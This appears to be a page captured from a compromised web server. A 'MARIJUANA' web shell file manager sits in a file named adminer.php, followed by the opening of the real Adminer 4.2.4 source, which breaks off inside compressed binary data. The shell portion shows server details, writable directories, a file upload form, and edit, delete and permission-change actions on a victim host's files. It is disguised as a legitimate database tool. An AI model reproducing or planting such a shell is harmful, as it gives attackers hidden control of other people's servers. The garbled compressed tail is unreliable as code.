Samx Here
n1udSecurity


Server : Apache
System : Linux ks5.tuic.fr 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
User : pragmatice ( 1003)
PHP Version : 8.2.24
Disable Function : NONE
Directory :  /home/pragmatice/public_html/lesite/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/pragmatice/public_html/lesite/files/adminer.php
<!DOCTYPE html>
	<html dir="auto" lang="en-US">

		<head>
			<meta charset="UTF-8">
			<meta name="robots" content="NOINDEX, NOFOLLOW">

				<title>MARIJUANA</title>

			<link rel="icon" href="//0x5a455553.github.io/MARIJUANA/icon.png" />
			<link rel="stylesheet" href="//0x5a455553.github.io/MARIJUANA/main.css" type="text/css">

			<script src="//ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
			<script src="//cdnjs.cloudflare.com/ajax/libs/notify/0.4.2/notify.min.js"></script>
		</head>

		<body>
			<header>
				<div class="y x">
					<a class="ajx" href="1.php">
						MARIJuANA
					</a>
				</div>

				<div class="q x w">
					&#8212; DIOS &#8212; NO &#8212; CREA &#8212; NADA &#8212; EN &#8212; VANO &#8212;
				</div>
				
			</header>

			<article>
				<div class="i">
					<i class="far fa-hdd"></i>
					Linux linweb5.resellerone.host 4.18.0-193.19.1.el8_2.x86_64 #1 SMP Mon Sep 14 14:37:00 UTC 2020 x86_64
					<br />

					<i class="far fa-lightbulb"></i> &thinsp;&thinsp;<b>SOFT  :</b> Apache <b>PHP :</b> 7.2.34
					<br />

					<i class="far fa-folder"></i>
					
					<a class="ajx" href="?d=2f">/</a><a class="ajx" href="?d=2f766172">var</a>/<a class="ajx" href="?d=2f7661722f777777">www</a>/<a class="ajx" href="?d=2f7661722f7777772f76686f737473">vhosts</a>/<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e">jnmsdigwadih.in</a>/<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f6373">httpdocs</a>/<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65">file</a>/
					<br />

				</div>

				<div class="u">
					10.50.0.196 <i class="fas fa-link"></i>
					<br />

					<br />

					<form method="post" enctype="multipart/form-data">
						<label class="l w">
							<input type="file" name="n[]" onchange="this.form.submit()" multiple> &nbsp;UPLOAD
						</label>&nbsp;
					</form>

					
				</div>
					<table cellspacing="0" cellpadding="7" width="100%">
						<thead>
							<tr>
								<th width="44%">[ NAME ]</th>
								<th width="11%">[ SIZE ]</th>
								<th width="17%">[ PERM ]</th>
								<th width="17%">[ DATE ]</th>
								<th width="11%">[ ACT ]</th>
							</tr>
						</thead>
						<tbody>
							<tr>
								<td>
									<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&n">+FILE</a>
									<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&l">+DIR</a>
								</td>
							</tr>
						<tr class="r">
							<td>
								<i class="far fa-folder m"></i>
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c652f78616976686f7374">xaivhost</a>
							</td>
							<td class="x">
								dir
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&k=78616976686f7374">drwxr-xr-x</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&t=78616976686f7374">2023-08-14 12:29</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&r=78616976686f7374">R</a>
								<a href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&x=78616976686f7374">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&s=2e66696c652e706870">.file.php</a>
							</td>
							<td class="x">
								0 KB
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&k=2e66696c652e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&t=2e66696c652e706870">2023-06-03 08:23</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&r=2e66696c652e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&e=2e66696c652e706870">E</a>
								<a href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&g=2e66696c652e706870">G</a>
								
								<a href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&x=2e66696c652e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&s=61646d696e65722e706870">adminer.php</a>
							</td>
							<td class="x">
								412.902 KB
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&k=61646d696e65722e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&t=61646d696e65722e706870">2023-08-14 12:33</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&r=61646d696e65722e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&e=61646d696e65722e706870">E</a>
								<a href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&g=61646d696e65722e706870">G</a>
								
								<a href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&x=61646d696e65722e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&s=616666696c696174696f6e2e706466">affiliation.pdf</a>
							</td>
							<td class="x">
								364.258 KB
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&k=616666696c696174696f6e2e706466">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&t=616666696c696174696f6e2e706466">2021-09-16 06:50</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&r=616666696c696174696f6e2e706466">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&e=616666696c696174696f6e2e706466">E</a>
								<a href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&g=616666696c696174696f6e2e706466">G</a>
								
								<a href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&x=616666696c696174696f6e2e706466">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&s=62756c64696e672e706466">bulding.pdf</a>
							</td>
							<td class="x">
								285.285 KB
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&k=62756c64696e672e706466">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&t=62756c64696e672e706466">2021-04-20 08:52</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&r=62756c64696e672e706466">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&e=62756c64696e672e706466">E</a>
								<a href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&g=62756c64696e672e706466">G</a>
								
								<a href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&x=62756c64696e672e706466">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&s=64656f2e706466">deo.pdf</a>
							</td>
							<td class="x">
								1.11 MB
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&k=64656f2e706466">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&t=64656f2e706466">2021-04-20 08:52</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&r=64656f2e706466">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&e=64656f2e706466">E</a>
								<a href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&g=64656f2e706466">G</a>
								
								<a href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&x=64656f2e706466">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&s=666972652e706466">fire.pdf</a>
							</td>
							<td class="x">
								416.947 KB
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&k=666972652e706466">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&t=666972652e706466">2021-04-20 08:52</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&r=666972652e706466">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&e=666972652e706466">E</a>
								<a href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&g=666972652e706466">G</a>
								
								<a href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&x=666972652e706466">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&s=6e6f632e706466">noc.pdf</a>
							</td>
							<td class="x">
								396.737 KB
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&k=6e6f632e706466">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&t=6e6f632e706466">2021-04-20 08:52</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&r=6e6f632e706466">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&e=6e6f632e706466">E</a>
								<a href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&g=6e6f632e706466">G</a>
								
								<a href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&x=6e6f632e706466">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&s=736f636965746965732e706466">societies.pdf</a>
							</td>
							<td class="x">
								263.439 KB
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&k=736f636965746965732e706466">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&t=736f636965746965732e706466">2021-04-20 08:52</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&r=736f636965746965732e706466">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&e=736f636965746965732e706466">E</a>
								<a href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&g=736f636965746965732e706466">G</a>
								
								<a href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&x=736f636965746965732e706466">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&s=76686f73742e706870">vhost.php</a>
							</td>
							<td class="x">
								18.715 KB
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&k=76686f73742e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&t=76686f73742e706870">2023-08-14 12:29</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&r=76686f73742e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&e=76686f73742e706870">E</a>
								<a href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&g=76686f73742e706870">G</a>
								
								<a href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&x=76686f73742e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&s=77617465725f6865616c74682e706466">water_health.pdf</a>
							</td>
							<td class="x">
								214.33 KB
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&k=77617465725f6865616c74682e706466">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&t=77617465725f6865616c74682e706466">2022-09-22 08:15</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&r=77617465725f6865616c74682e706466">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&e=77617465725f6865616c74682e706466">E</a>
								<a href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&g=77617465725f6865616c74682e706466">G</a>
								
								<a href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&x=77617465725f6865616c74682e706466">D</a>
							</td>
						</tr>
						
						</tbody>
						<tfoot>
							<tr>
								<th class="et">
									<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&y">REQUEST</a>
									<a href="?d=2f7661722f7777772f76686f7374732f6a6e6d7364696777616469682e696e2f68747470646f63732f66696c65&q">EXIT</a>
								</th>
								<th class="et" width="11%"></th>
								<th class="et" width="17%"></th>
								<th class="et" width="17%"></th>
								<th class="et" width="11%"></th>
							</tr>
					</tfoot>
				</table>
			</article>
			<footer class="x">
				&copy;TheAlmightyZeus
			</footer>
			
			<script>
				$(".ajx").click(function(t){t.preventDefault();var e=$(this).attr("href");history.pushState("","",e),$.get(e,function(t){$("body").html(t)})});
			</script>
		</body>
	</html>
<?php
/** Adminer - Compact database management
* @link https://www.adminer.org/
* @author Jakub Vrana, http://www.vrana.cz/
* @copyright 2007 Jakub Vrana
* @license http://www.apache.org/licenses/LICENSE-2.0 Apache License, Version 2.0
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU General Public License, version 2 (one or other)
* @version 4.2.4
*/error_reporting(6135);$Jc=!preg_match('~^(unsafe_raw)?$~',ini_get("filter.default"));if($Jc||ini_get("filter.default_flags")){foreach(array('_GET','_POST','_COOKIE','_SERVER')as$X){$Gh=filter_input_array(constant("INPUT$X"),FILTER_UNSAFE_RAW);if($Gh)$$X=$Gh;}}if(function_exists("mb_internal_encoding"))mb_internal_encoding("8bit");if(isset($_GET["file"])){if($_SERVER["HTTP_IF_MODIFIED_SINCE"]){header("HTTP/1.1 304 Not Modified");exit;}header("Expires: ".gmdate("D, d M Y H:i:s",time()+365*24*60*60)." GMT");header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");if($_GET["file"]=="favicon.ico"){header("Content-Type: image/x-icon");echo
lzw_decompress("\0\0\0` \0�\0\n @\0�C��\"\0`E�Q����?�tvM'�Jd�d\\�b0\0�\"��fӈ��s5����A�XPaJ�0���8�#R�T��z`�#.��c�X�Ȁ?�-\0�Im?�.�M��\0ȯ(̉��/(%�\0");}elseif($_GET["file"]=="default.css"){header("Content-Type: text/css; charset=utf-8");echo
lzw_decompress("\n1̇�ٌ�l7��B1�4vb0��fs���n2B�ѱ٘�n:�#(�b.\rDc)��a7E����l�ñ��i1̎s���-4��f�	��i7������Fé�vt2���!�r0���t~�U�'3M��W�B�'c�P�:6T\rc�A�zr_�WK�\r-�VNFS%~�c���&�\\^�r����u�ŎÞ�ً4'7k����Q��h�'g\rFB\ryT7SS�P�1=ǤcI��:�d��m>�S8L�J��t.M���	ϋ`'C����889�� �Q���2�#8А����6m����j��h�<�����9/��:�J�)ʂ�\0d>!\0Z��v�n��o(���k�7��s�>��!�R\"*nS�\0@P\"��(�#[���@g�o���zn�9k�8�n���1�I*��=�n������0�c(�;�à��!���*c�>Ύ�E7D�LJ��1�J=���1L��?�s=#`�3\$4��uȱ��zG�C YAt�?;�Q�k&��YP�u��ǯ}UaHV%G;�s��<A\0\\��P�\\��&ª�V��\n�SU�t���r���2�	l^�Z6�ej����A�d�[�sն�JP����ҝ��8�=����6#˂74*���#e��!�7{�6��<o�C�9v[�M��-`�k�>�l�ڴ��I��H�3�x����w0t6��%MR%��jh�B�<�\0�AQ<P<:��u/�;\\>��-��ʈ�QH\nv�L+v�æ�<�\r��v���\\*����Ӵݢg��n˩��TЩ2P�\r��ߋ\"+z�8���:#�����2��J[�i����;z����r�3#�ى�:�n�\r㽃e�pdݍ� �2c��4�k���\rG��E6_����މb��/��HB%�0�>���hoW�nxl֍�浃CQ^������\r����4lK{�Z�:���Ã�.�p��Ă�J�B-�+B���(�T�%��J�0�l�T�`+�-��@B��ۄV��\0��C�,�0t��F���?Ġ�\na@Ɍ>��ZEC��O�-���^Q�&��)I)����R�]\r��9�7_��\r�F80�Ob�	���>��\nR�_��8��٫�ov0�bCA�F!�t��ă%0�/�zAYO(4������	'�] I��8hH�05�3�@x&n��|T���)`�.�s6eY�D�z�����Jѓ�.��{GEb��Ӌ����2��{\$**��@�C��-:zYHZI��5F]��Y��C�O�A����`x'�.*9t'{�(�wP����=�*���*�xwr��*c���c|�D���V��\r�V.�0���V�d�?Ҁ��,E͝`T��6ۈ-����ڎT[ѐ�z��.Ar��̀P��n�c=a�9F�n�!�u��A���0iP��J6e�T]V�[\rX��a��v�k�\n+E���ܕ*\0�~��@g\"�NCI\$��Ɍ���x@W�y�*vuD�\0�v�댆V\0�V`G�u�E�֕�f�l�h�@�)0@�T��7���§RA�ٷ�3ۘ��/Q�]�,s�{VR�����F���A��<�vץ�%@9��F��5t�%�+�/�8;�W����J��o:�N�`�	����h�{ܣ�� �Ԑ8�Eu�&�W|Ɇ���U�&\r\"���|-udž�N��:nc��fV����#U20�>\"���>�`�k]�-��x�S�͇Т����c��B��}�&`��r+E��\$�yN���b,���Wx ��-9��r�,��`�+���ˊ��C��)��7�x\r��W�fM�SR�\\�z��Q�̓��uA���2���4�L&�Hi µ���S\$)e���g rȌ��\$]Z�iYs���kW�n>�7E1k8�d�r�k����E���w�wcm�Ty����a�\$tx\rB��=����*�<���l�f�K��N/���	�l��kH��8�.���?f�����6�ч�{gi/\"�@��K��@2��a|#,Z���	��w�d�������6w�^&��t��P����]���.����T��kro����\ro=�%��h`:\0᱂����|ꊣ�a�Ԯ6*:��*��rO-^����n���M�}��Aya���\n�u^�rnO\r���`�T~</�w�y�}�:�|����̡6������v�\rc<�b#����\$�s��|燇V)�h�TC��(Ľ���]6��1�!1M��@a�/�`�>ٸ�ߣ�����C/�6ഷ#p@p��`Z��ch��\0��\0o��4O�O�i\0-\n��/�\0�D�.� ���.�Đ\0fi��ȫ���\0��ID��\0��\r�0f��o�����G����eJ|\r���l	�3�~�iP��&���/�\0�9	^\0r�0]�� �›o��.�\"�	���M���v�P�Z��mp�P���ڜ�ޏ���{��C?��k��ϼ}�d��ʏ�~=�.��- �	�m1>h���Е1;QI�OP�\r��c�pApV�k\rQ*�Q}���q>��u�15�BqQ[1f��l���ap���\0��*�J�Q=�����G��������_��b�GHF.�0�	= 2P��������P!�#(3 \n�!1&72f��`�/��\0��\"P�U�\$�\r0��,QrU&2f��_�X���]�9\"�S'�'�y�8\r����kW)O�)��*Ra%�\\i�%�&ҳ+r��3�S`�,�v��&2�L�&Pu*��-�0\"�%HĬԞ��@ؓ��H�B�P(��\$p&�,1M� �ح��;\rn�.�� I�.�',1�)�4���2�u+�3� `�S��pL\nt��_*�S3;6r�'h35�55䜋d2q+6�8�O7sC\"pm8ҭ��6��9�m\n@e0�<8B�8�<,(���8��\0�	�0�J�<@��I���R6pԭmG�\"11�6��.\"��5̂��:��8b�A1�;�';�?<*\$�,�̍o= �T��/3�#��҆�");}elseif($_GET["file"]=="functions.js"){header("Content-Type: text/javascript; charset=utf-8");echo
lzw_decompress("f:��gCI��\n0��S��a9��S`�����&�(��n0���QI��f��\$�At^ s�G��tf6e��y��()L�S��P'�����R'�fq]\"�s>	)�`�H2�Eq9��?�*)��t'��ϧ�\n	\r�s<�Pi2IN��*(=2�gX��.3�N�Y4�B<�L���i�̥2��z=�0H���'�ꌚ�u�tt:������e�]`pX9��o5�g��I��,2O4��х�M�S�(�a��#�����|�G�b��x�^Z[��G��uTv�(ҝm@V�(���bN<��`��X�1�+��9J8�2\r�K�9�h�	���`�����I8䛱S���t�2�+,��I�� ��p�9m@�:����x�)��C��x�3��4P7�-�4�r\"p3Fh�-5��U4͉�\\6��<D\$�l�9�R4t7��dD3�p�Γk�:)\\;�����\r@�t�\$4O�<��!pd���QJ\r�H�}:&����Ȅ�5YWJ�����`�N��bKNS��a�����d>2W�ŅbDj:9[21c���ȝ�:X�@�q�#��4�L�'J��+DHe�3�.�O��K˰���pV��t2�wp;Ɠ��\r?�OzDq.���-�\"�Z�c�X3!/>P�F�s�ɲ��0�(��ʣ���T63sVQo��SΑ�b�߅^r\$�@C� r2)��� �V�)+nܷz������l��{�K#��9�{�ۯl���m�Q��h�*ɗP�:�c�]�7��=��L���i;�2������<\\�J��b�n����n�_iӴ�J\n������C:���`N4�̖�'Aw:4}�ۣ�W\080��L3��J;�i�)\\�=/N�u=ZV6&cea��p��.[�v�tPZ��X`֔��+z�'��9�.\$\$���@\n\r�]_�ٮ��h�kk�Ms>`̖�j�%�\\9ж��('�jA�>BCd\"K\$	CA�����.².`��.E�洖��yy\0�D2�8t	�6��8�FL������B*��,�|\nx\\@��@��3r ����WKQb,%���DBf�ȳD|͌�E0/�2>�Y!Ć'��`�f�mH�<B�B0\r*\0Gx��n�Y4����,�L������%S�,�v�0���X�Q�1�HId`�!.�V��H/�×�H�0�U��0™��`�LI�8��k��2�4JYN�&�8x�J�k:AK㝡nW�!�����I�;'��\":2��4�~�J�8�ᒑ��G��\"M�=\rZ'�n�i9F����r��R�t�3\0��Ҳ�2�y��B^��b'��z�ɲ(�#�d9It�&W�jNa��C(� j�Ė?h���j����քZ\$0��ү�J	A_�\n�!T�O�4�<{a�?��o ���-����?Hl�\"�2�y�=�먞�R��ф��͊�P&�G���4��%()�\r5M����LT�\0���xBI�=ltv�2Jhv���~/:��p��:8\"д5���0�#�*�7����\n�q�>�G\$���):	��\"�#�KfI�!�v�+?{���Qg��{�R�Q��C��}�#��iIb�g��X����}��`�}3�%@��{_k�}0�ȗ�p�!�a��<7�e���F�?����X�D���, ��Ck���U��L>�1���܇����p0�#�\$���V)pY�s5A�:��U�(9�5��,F+�&�*{�-����:���:7��:ʙyP������X�+���\n�I;��\\s��P�1�����r��NJ�AT'-���k?��Y@����f��b񎒔R�J�i�m�B~�K\rK��t�4�;O�Kc�9%H�5��d�3�e8j�P��[s�9,�Ę�bzK����W&e�d8���)���5�p�h������\"0�hL5\0�7 �ڌڇ�{�ݿ����<�k��\r+��X�b�l��/؝X��AC�s\na��l����}�~ݴ��drx(\r�3�nGr�T�+��Q�J��P�\n�'?��Ĵn~��:�����Q�8����`{�a�� �4:��L�:� ����uM���ߎM�I��,�`�BgN����\rB��\r\0��o��\"�/�2^D2)n�\raz�R\$�7�`������L�p�*�{`Oqt�z%%�Hg����0���K�f&�)\\�QW������\0dp��<Q\"�c���'�/�Q7>�+��j#\0��ȺБ_�ȍ�k3�J�(���%O���\0��Tm4�k:lʞ�mD\$����\0���'�~� Z@�����V��L\"�Hjn�5��Nl������fj&�M��O��dbӰR����Odii�N�(�%�-4+�:HpR��?B�M0��JF��.����1M��f~U�T갊�lˠ0����U��|�Ђ@�X4�bg� ]P�?@z `��<��R��`��-��F���I\0��㬦|О���ŬTkQk�F@0L��P�\r���#�u�����ܲpX�^ѱap\0\r y�Pt%\0^8��\r�����k��\0ǡ1�\n�d��B���.\n�Qjq\$\rM˾F��o���(︉ [� .#>��Q�`Y`�M��,�J���\n<��u�z�+I���!)��+�t��Ŋ����lƜm\"\"17\"j�0#N�m���٢�O �pR�K#�R��7#C�&��!2\$��>�Ϝ�C�.R\"�r��\"P�y˰7��\r�ܼ�s)�%�#�U\rO�EЀ����y�xCt@п��*H����+@���0�\r���I����L�������/ \\\rNR\r\0�@+�\$��/*w0�S\nt�\"�\0�r�/��P����\0�3L���%r�R�2R*�+�0�\"�-�3N1�D7(tb��/@�12��M6���d�(�c7�*��p�l�8���(t�0�Kp�2�-�����Fb�\$�R��(/�+2��,̲�l���8����r�K!�6\"�Sa0bx��\$O\0\re� �\r\"8�'��t���\r��+�P�@Y1��Yb�R⹰�\\jK)��438�h�1�7�z`p�R�R�C��B���<�����F	4�DtJ-�tV�D6\0NL�T�v_�0�\"qJ��I���*�.��q�R|��H�Πt]>�\0�OL(#�n�.�2Bn9Jm�@R�s2|��h��t�Nn6B�cO+�҆��e������BO=,��C:�6�:�M<��BV\\`�/B��ڧ�,w:�H�͸�2xp�M�nbn��Մ�0���	1�,4�V�#&�l����jKC�\n�g��l\r�IcY@�Y�h�3�\nU�]@�	���\rL�d�\\B����\"t\r�p'\n�'�O\\��RИֳ�5��S��b%�[��\$�L�u�`5�Y���u�[���\0|EMh���\\)�\\u�9�b�H.e@\r��!�e'�VP��C'c\"�f(RŇ&#~��\\qH�]�{^��g'O�<vz�6lp��g'8E�{�*�/�U�V�����p���o,�+��)X��k.�0`�s��0h�r��o^�